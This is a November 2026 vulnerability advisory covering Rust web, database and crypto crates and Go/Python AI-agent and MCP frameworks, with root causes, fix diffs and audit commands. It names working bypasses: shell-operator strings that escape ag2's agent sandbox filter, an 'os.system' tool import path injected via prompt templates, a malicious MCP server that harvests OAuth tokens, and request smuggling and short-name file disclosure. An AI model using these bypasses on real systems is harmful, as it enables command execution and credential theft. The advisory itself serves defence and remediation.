high

CVE

CVE-2026-123272, CVE-2026-123271, CVE-2026-113663, CVE-2026-61536, CVE-2026-122133, CVE-2026-122134, CVE-2026-122135, CVE-2026-44209

CWE

CWE-400, CWE-444, CWE-416, CWE-125, CWE-287, CWE-78, CWE-94, CWE-22

Affected Surface

  • crates.io `actix-http` `< 3.20.3` (`RUSTSEC-2026-0446`, `RUSTSEC-2026-0448`, `RUSTSEC-2026-0455`), `actix-web` `< 4.18.2` (`RUSTSEC-2026-0447`), and `actix-files` `< 0.7.4` on Windows (`RUSTSEC-2026-0443`)
  • crates.io `surrealdb` `< 3.3.0` (`RUSTSEC-2026-0453` / `GHSA-pm86-cc75-q463`), `surrealdb-core` `< 4.0.0` (`RUSTSEC-2026-0454` / `GHSA-m9qr-4rcq-3jhc`), and `surrealkv` `< 1.2.0` (`RUSTSEC-2026-0452` / `GHSA-9fm9-c4h4-8g93`)
  • crates.io `azure_security_keyvault_certificates` (`0.9.0`..`1.0.0`, `1.1.0-beta.1`, `RUSTSEC-2026-0437`), `azure_security_keyvault_secrets` (`0.10.0`..`1.0.0`, `RUSTSEC-2026-0438`), `azure_security_keyvault_keys` (`0.10.0`..`1.0.0`, `RUSTSEC-2026-0439`), `vodozemac` `<= 0.11.1` (`RUSTSEC-2026-0445`, `RUSTSEC-2026-0451`), and `ocipkg` `<= 0.4.0` (`RUSTSEC-2026-0450`, `RUSTSEC-2026-0449`)
  • Go modules `github.com/mark3labs/mcp-go` `< v1.2.1` (`CVE-2026-123272`, CVSS 8.0 High) and `github.com/diillson/chatcli` `< v1.215.2` (`CVE-2026-123271`, CVSS 8.0 High)
  • PyPI `ag2` `>= 0.13.2, < 1.1.1` and `autogen` `>= 0.13.2, <= 0.14.1` (`CVE-2026-113663` / `GHSA-2h4w-29cv-2cmv`, CVSS 8.8 High), `banks` `<= 2.4.2` (`CVE-2026-61536` / `GHSA-64vx-6h2c-rjh7`, CVSS 7.5 High), and `mistral-vibe` `< 3.0.3` (`CVE-2026-122133`, `CVE-2026-122134`, `CVE-2026-122135`, all CVSS 8.8 High)

TL;DR

Between 4 and 6 November 2026, the RustSec Advisory Database, NVD, and GitHub Security Advisories published 18 vulnerabilities across Rust web/database/cryptography crates and Go/Python AI agent frameworks:

  1. Actix Web 4.18.2, actix-http 3.20.3, and actix-files 0.7.4 (RUSTSEC-2026-0443, 0446, 0447, 0448, and 0455):
    • 850-byte large-window Brotli request allocates 1 GiB before handler auth or size limits (RUSTSEC-2026-0455 / GHSA-7p9w-p5qm-5gc5): Because Actix Web enables compress-brotli by default and actix-http accepted the non-standard large-window Brotli format while body extractors (Bytes, String, Json, Form) did not pass their size limits down to encoding::Decoder (RUSTSEC-2026-0447 / 0448), a single 850-byte Content-Encoding: br request grew the decoder’s internal ring buffer to ~1 GiB before any route handler or extractor limit ran.
    • HTTP/1 chunked trailer request smuggling (RUSTSEC-2026-0446 / GHSA-2q7f-mf9f-5qhr) and Windows 8.3 short-name .env/.git disclosure (RUSTSEC-2026-0443 / GHSA-8hcm-m7r7-frwc): In actix-http < 3.20.2, the HTTP/1 chunked decoder accepted a bare LF after the terminating 0 chunk as the start of trailer headers, allowing pipelined request smuggling behind proxies that reuse upstream connections. On Windows volumes with 8.3 short names enabled, actix-files < 0.7.4 checked only whether path segments started with ., allowing clients to download .env or .git/config via ENV~1 or GIT~1.
  2. SurrealDB 3.3.0 (RUSTSEC-2026-0453), surrealdb-core 4.0.0 (RUSTSEC-2026-0454), and surrealkv 1.2.0 (RUSTSEC-2026-0452): surrealkv < 1.2.0 guarded InternalKeyRef::from_encoded only with debug_assert!(encoded.len() >= 16) (compiled out in release builds), causing len - 16 to underflow usize and read 8 bytes before the heap buffer on short SSTable keys; surrealdb < 3.3.0 erased 'pool lifetimes via affinitypool::spawn_local, causing a use-after-free on TransactionInner mutexes when a future was leaked in safe code; and surrealdb-core < 4.0.0 inherited unsound unsafe impl Send/Sync on reblessive::TreeStack, allowing safe code to race drive_top_task across threads and trigger double frees.
  3. Azure Key Vault Rust SDK 1.0.1 (RUSTSEC-2026-0437, 0438, 0439), Matrix vodozemac 0.11.2 (RUSTSEC-2026-0445, 0451), and ocipkg 0.4.1 (RUSTSEC-2026-0450): In azure_security_keyvault_{certificates,secrets,keys}, KeyVaultAuthorizer::on_challenge() cached the OAuth scope from a WWW-Authenticate header before verifying that the challenge resource matched the target Key Vault host, so a rejected first request poisoned the client’s cached scope and caused subsequent requests on the same client to mint and send a live Entra ID bearer token for the attacker’s scope. In vodozemac <= 0.11.1, the Matrix Olm root-key ratchet left unzeroized root and chain keys in freed heap memory after each HKDF step. In ocipkg <= 0.4.0, Artifact::unpack derived the extraction path from the archive’s own index.json org.opencontainers.image.ref.name and accepted a hostname of .. to write or delete files outside the image store.
  4. AI agent and MCP frameworks (mark3labs/mcp-go CVE-2026-123272, ChatCLI CVE-2026-123271, ag2 / autogen CVE-2026-113663, banks CVE-2026-61536, and mistral-vibe CVE-2026-122133..122135): In mcp-go < v1.2.1 (and chatcli < v1.215.2), OAuthHandler.fetchServerMetadata() did not verify that the resource field in /.well-known/oauth-protected-resource bound to the MCP server’s own URL, letting a malicious MCP server request RFC 8707 OAuth tokens scoped to a victim service. In ag2 < 1.1.1 (autogen <= 0.14.1), SandboxShellTool (allowed=[...] or readonly=True) validated only the head command and missed &, \n, \r, <, and write/exec flags on allowed binaries (find . -exec, env, git diff --output=, sort -o) before passing the string to sh -c. In banks <= 2.4.2, CompletionExtension parsed Tool JSON from rendered prompt templates and passed Tool.import_path straight to importlib.import_module() + getattr() (os.system), bypassing the Jinja SandboxedEnvironment added for CVE-2026-44209.

What to do now: Upgrade actix-web to >= 4.18.2, actix-http to >= 3.20.3, actix-files to >= 0.7.4, surrealdb to >= 3.3.0 (surrealdb-core >= 4.0.0, surrealkv >= 1.2.0), azure_security_keyvault_* to >= 1.0.1, vodozemac to >= 0.11.2, mark3labs/mcp-go to >= v1.2.1, ag2 to >= 1.1.1, and mistral-vibe to >= 3.0.3.

Affected packages and crates

EcosystemPackage / CrateAdvisory / CVESeverityAffected versionsFixed versionVulnerable component
crates.ioactix-http, actix-web, actix-filesRUSTSEC-2026-0455, 0448, 0447, 0446, 0443Highactix-http < 3.20.3, actix-web < 4.18.2, actix-files < 0.7.4actix-http 3.20.3, actix-web 4.18.2, actix-files 0.7.4encoding::Decoder (large-window Brotli & extractor limits), HTTP/1 chunked trailer parser, Windows 8.3 short names
crates.iosurrealdb, surrealdb-core, surrealkvRUSTSEC-2026-0453, 0454, 0452 (GHSA-pm86-cc75-q463, GHSA-m9qr-4rcq-3jhc, GHSA-9fm9-c4h4-8g93)Highsurrealdb < 3.3.0, surrealdb-core < 4.0.0, surrealkv < 1.2.03.3.0, 4.0.0, 1.2.0affinitypool::spawn_local UAF, reblessive::TreeStack Send/Sync double free, InternalKeyRef::from_encoded len - 16 underflow
crates.ioazure_security_keyvault_{certificates,secrets,keys}RUSTSEC-2026-0437, 0438, 0439Highcertificates 0.9.0..1.0.0, 1.1.0-beta.1; secrets & keys 0.10.0..1.0.01.0.1 (1.1.0-beta.2)KeyVaultAuthorizer::on_challenge caches WWW-Authenticate scope before verifying resource
crates.iovodozemac, ocipkgRUSTSEC-2026-0451, 0445, 0450, 0449Medium / Highvodozemac <= 0.11.1; ocipkg <= 0.4.0 (archived at 0.4.1)vodozemac 0.11.2; ocipkg 0.4.1 (migrate to oci-client)Matrix Olm HKDF root-key ratchet zeroization; Artifact::unpack index.json .. hostname traversal
Gogithub.com/mark3labs/mcp-go, github.com/diillson/chatcliCVE-2026-123272, CVE-2026-123271CVSS 8.0 Highmcp-go < v1.2.1; chatcli < v1.215.2mcp-go v1.2.1; chatcli v1.215.2OAuthHandler.fetchServerMetadata() in client/transport/oauth.go
PyPIag2, autogenCVE-2026-113663 (GHSA-2h4w-29cv-2cmv)CVSS 8.8 Highag2 >= 0.13.2, < 1.1.1; autogen >= 0.13.2, <= 0.14.1ag2 1.1.1ShellAdapter and READONLY_COMMANDS in ag2/tools/sandbox/filter.py
PyPIbanksCVE-2026-61536 (GHSA-64vx-6h2c-rjh7)CVSS 7.5 High<= 2.4.2Restrict untrusted {% completion %} templatessrc/banks/extensions/completion.py (importlib.import_module on Tool.import_path)
PyPImistral-vibeCVE-2026-122133, CVE-2026-122134, CVE-2026-122135CVSS 8.8 High (all three)< 2.25.5 (122133), < 2.25.7 (122134), < 3.0.3 (122135)3.0.3vibe/core/system_prompt.py (git.exe search path, Git filter drivers, and repo gpg.program RCE)

Technical analysis

1. Actix Web 4.18.2 & actix-http 3.20.3 (RUSTSEC-2026-0446..0455) and SurrealDB (RUSTSEC-2026-0452..0454)

In Actix Web, request body decompression happens inside actix-http’s encoding::Decoder middleware/stream layer before route handlers or body extractors (web::Json, web::Bytes, web::Form) run. Two independent bugs in actix-http turned default Content-Encoding support into a pre-authentication memory amplifier and request smuggler:

  • Large-window Brotli 1 GiB allocation (RUSTSEC-2026-0455, commit 61c6a15c1c) and pre-limit decompression (RUSTSEC-2026-0447 / 0448, commit 41b54d23ea): The Brotli decoder in actix-http < 3.20.3 accepted large-window Brotli streams, allowing an 850-byte request with Content-Encoding: br to allocate a ~1 GiB internal ring buffer before yielding enough decompressed output to trip an extractor’s payload limit. Upgrading to actix-http 3.20.3 and actix-web 4.18.2 disables large-window Brotli and plumbs extractor byte limits directly into Decoder::limit().
  • Chunked trailer bare-LF smuggling (RUSTSEC-2026-0446, commit feed12e9ec): After the final 0\r\n chunk, actix-http < 3.20.2 accepted a bare \n as the start of trailer headers instead of rejecting the malformed framing, allowing an attacker behind a connection-reusing proxy to swallow the next pipelined request’s headers as trailers and treat its body as a new request.

In SurrealDB’s storage engine surrealkv (< 1.2.0, RUSTSEC-2026-0452, commit ac642f945d), InternalKeyRef::from_encoded(encoded: &[u8]) is a safe function that checked debug_assert!(encoded.len() >= 16). In release builds, debug_assert! disappears, and seq_num() / trailer() pass len - 16 into read_u64_be(), which computes buffer.as_ptr().add(offset) and performs an unaligned 8-byte load, wrapping usize below the allocation and reading 8 bytes of heap memory before the buffer whenever an SSTable block contains an internal key shorter than 16 bytes.

2. mark3labs/mcp-go v1.2.1 (CVE-2026-123272) and ChatCLI v1.215.2 (CVE-2026-123271): RFC 9728 Protected Resource Metadata OAuth token hijacking

When an MCP client connects to an OAuth-protected MCP server, it fetches the server’s RFC 9728 Protected Resource Metadata (PRM) document (either from a WWW-Authenticate header URL or from /.well-known/oauth-protected-resource<path>) and passes the document’s resource field as the RFC 8707 resource indicator when requesting an access token from the Authorization Server.

In mark3labs/mcp-go prior to v1.2.1 (commit 90d247ed8d), OAuthHandler.fetchServerMetadata() enforced RFC 9728 Section 3.3 resource binding only when the metadata URL was advertised via WWW-Authenticate (if explicitMetadataURL), assuming that the well-known path was safe because its URL was constructed from baseURL:

--- a/client/transport/oauth.go
+++ b/client/transport/oauth.go
@@ -809,6 +817,11 @@ func (h *OAuthHandler) fetchServerMetadata(ctx context.Context) (metadataDiscove
 				protectedResource.Resource, baseURL,
 			)
 		}
+	} else if protectedResource.Resource != "" && !resourceBindsToURL(protectedResource.Resource, baseURL) {
+		return metadataDiscoveryResult{}, fmt.Errorf(
+			"protected resource metadata from %q declares resource %q which does not match base URL %q",
+			protectedResourceURL, protectedResource.Resource, baseURL,
+		)
 	}

Because the JSON body served at /.well-known/oauth-protected-resource is still controlled by the remote MCP server, a malicious MCP server (https://attacker.example/mcp) could return "resource": "https://victim-mcp.example/mcp" in its well-known PRM document. The client then requested an OAuth token scoped to https://victim-mcp.example/mcp and sent that token in Authorization: Bearer ... to https://attacker.example/mcp. The exact same bug affected KeyVaultAuthorizer::on_challenge() in the Azure Rust SDK (RUSTSEC-2026-0437..0439), which cached the scope parameter from an untrusted WWW-Authenticate challenge before checking whether the challenge resource matched the vault’s domain.

3. ag2 1.1.1 (CVE-2026-113663), banks (CVE-2026-61536), and mistral-vibe 3.0.3 (CVE-2026-122133..122135)

  • ag2 (autogen) SandboxShellTool command-filter and readonly=True bypass (CVE-2026-113663 / GHSA-2h4w-29cv-2cmv, commit 3cd86726bb73): When developers configured SandboxShellTool(allowed=[...]) or SandboxShellTool(readonly=True), ShellAdapter checked the first command word against the allowlist and called contains_shell_operator() before executing the command string via sh -c. Because contains_shell_operator() did not block background &, \n, \r, or < (process substitution <(...)), strings such as "git status & curl ... | sh" or "cat file\nid" passed validation and ran the second command. Furthermore, READONLY_COMMANDS included find (find . -exec ...), env (env touch x), sort (sort -o x), file (-C), and git (--output=). In ag2 1.1.1, restricted mode splits the command into argv, matches allowlists word-by-word, strips find/env/sort/file/git from READONLY_COMMANDS, and executes the checked argv directly without a shell.
  • banks CompletionExtension importlib.import_module RCE (CVE-2026-61536 / GHSA-64vx-6h2c-rjh7): Although banks 2.4.2 switched Jinja rendering to SandboxedEnvironment to fix CVE-2026-44209, src/banks/extensions/completion.py still parsed Tool JSON blocks from the rendered text of {% completion %} blocks and resolved Tool.import_path via importlib.import_module() + getattr(). An attacker controlling prompt template content can declare a tool with "import_path": "os.system" (or "subprocess.getoutput"), which banks executes as soon as the model emits a matching tool call.
  • mistral-vibe < 3.0.3 repository context RCE (CVE-2026-122133, CVE-2026-122134, CVE-2026-122135): When mistral-vibe opens a directory to build its system prompt (vibe/core/system_prompt.py), it runs git commands inside the repository. Prior to 2.25.5, Windows builds searched the current working directory first (git.exe in repo root, CVE-2026-122133); prior to 2.25.7, git status executed repository-configured .git/config clean and process filter drivers (CVE-2026-122134); and prior to 3.0.3, project context collection honored a repository-configured gpg.program binary (CVE-2026-122135).

Detection and remediation

# 1. Audit Rust Cargo.lock files for vulnerable actix, surrealdb, azure_security_keyvault, vodozemac, and ocipkg versions
cargo audit 2>/dev/null || rg -n -A 2 'name = "(actix-http|actix-web|actix-files|surrealdb|surrealdb-core|surrealkv|azure_security_keyvault_(certificates|secrets|keys)|vodozemac|ocipkg)"' Cargo.lock 2>/dev/null

# 2. Check Go modules for mark3labs/mcp-go and chatcli
rg -n 'mark3labs/mcp-go|diillson/chatcli' go.mod go.sum 2>/dev/null

# 3. Check Python environments and lockfiles for ag2, autogen, banks, and mistral-vibe
pip show ag2 autogen pyautogen banks mistral-vibe 2>/dev/null || true
rg -n '"?(ag2|autogen|pyautogen|banks|mistral-vibe)"?\s*([~=!<>]=|:)' requirements*.txt pyproject.toml uv.lock poetry.lock 2>/dev/null
  1. Upgrade Rust crates in Cargo.toml / Cargo.lock:
    • Upgrade actix-http to >= 3.20.3, actix-web to >= 4.18.2, and actix-files to >= 0.7.4 (or strip Content-Encoding: br at your reverse proxy until patched).
    • Upgrade surrealdb to >= 3.3.0, surrealdb-core to >= 4.0.0, and surrealkv to >= 1.2.0.
    • Upgrade azure_security_keyvault_certificates, azure_security_keyvault_secrets, and azure_security_keyvault_keys to >= 1.0.1, and vodozemac to >= 0.11.2. Replace unmaintained ocipkg (0.4.1) with oci-client.
  2. Upgrade Go and Python AI/MCP packages:
    • Upgrade github.com/mark3labs/mcp-go to >= v1.2.1 and github.com/diillson/chatcli to >= v1.215.2.
    • Upgrade ag2 to >= 1.1.1 (and migrate off autogen <= 0.14.1), upgrade mistral-vibe to >= 3.0.3, and never pass user-controlled prompt templates containing {% completion %} blocks to banks.

Timeline

  • 2026-10-30 to 2026-11-03: SurrealDB commits fixes for surrealkv (ac642f945d, 1.2.0) and surrealdb-core (75407c4bcc, 4.0.0); ocipkg releases 0.4.1 and archives the repository.
  • 2026-11-04 (20:20 to 22:33 UTC): RustSec publishes RUSTSEC-2026-0437, 0438, and 0439 for the Azure Key Vault Rust SDK; NVD publishes CVE-2026-122133, CVE-2026-122134, and CVE-2026-122135 for Mistral Vibe 3.0.3.
  • 2026-11-05 (17:51 to 23:16 UTC): GitHub Advisory Database and NVD publish GHSA-64vx-6h2c-rjh7 (CVE-2026-61536) for banks, CVE-2026-123272 for mark3labs/mcp-go v1.2.1, CVE-2026-123271 for ChatCLI v1.215.2, and GHSA-2h4w-29cv-2cmv (CVE-2026-113663) for ag2 v1.1.1.
  • 2026-11-06 (12:43 to 15:30 UTC): RustSec assigns RUSTSEC-2026-0443 through RUSTSEC-2026-0455 for actix-files, actix-http, actix-web, vodozemac, ocipkg, surrealkv, surrealdb, and surrealdb-core.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References